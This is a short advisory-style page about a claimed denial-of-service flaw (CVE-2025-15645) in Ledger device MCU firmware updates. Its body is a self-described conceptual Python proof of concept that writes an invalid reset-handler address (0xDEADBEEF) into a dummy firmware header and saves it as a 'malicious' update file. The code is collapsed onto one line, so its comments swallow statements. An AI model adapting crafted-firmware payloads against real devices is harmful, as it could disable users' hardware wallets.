CVE-2025-15645 Ledger设备MCU固件更新拒绝服务漏洞

import struct # Conceptual PoC for CVE-2025-15645 # This script demonstrates how to craft a malicious firmware header # by modifying the reset_handler address to an invalid value. # Original firmware binary data (simulated) firmware_data = b'\x00' * 0x200 # Dummy header # Invalid memory address to cause crash (e.g., 0xDEADBEEF) # In a real scenario, this would be an address outside valid RAM/Flash malicious_reset_handler = 0xDEADBEEF # Pack the address into little-endian format (assuming 32-bit MCU) # Offset 0x04 is typically where the Reset Handler vector is in ARM Cortex-M offset_reset_handler = 0x04 malicious_bytes = struct.pack('<I', malicious_reset_handler) # Inject the malicious address into the firmware header crafted_firmware = firmware_data[:offset_reset_handler] + malicious_bytes + firmware_data[offset_reset_handler+4:] print("[+] Malicious firmware header crafted.") print(f"[+] Reset Handler set to: 0x{malicious_reset_handler:08X}") print("[*] If flashed, the device will attempt to jump to this address on boot and crash.") # Save the crafted firmware (simulated) with open("malicious_ledger_update.bin", "wb") as f: f.write(crafted_firmware)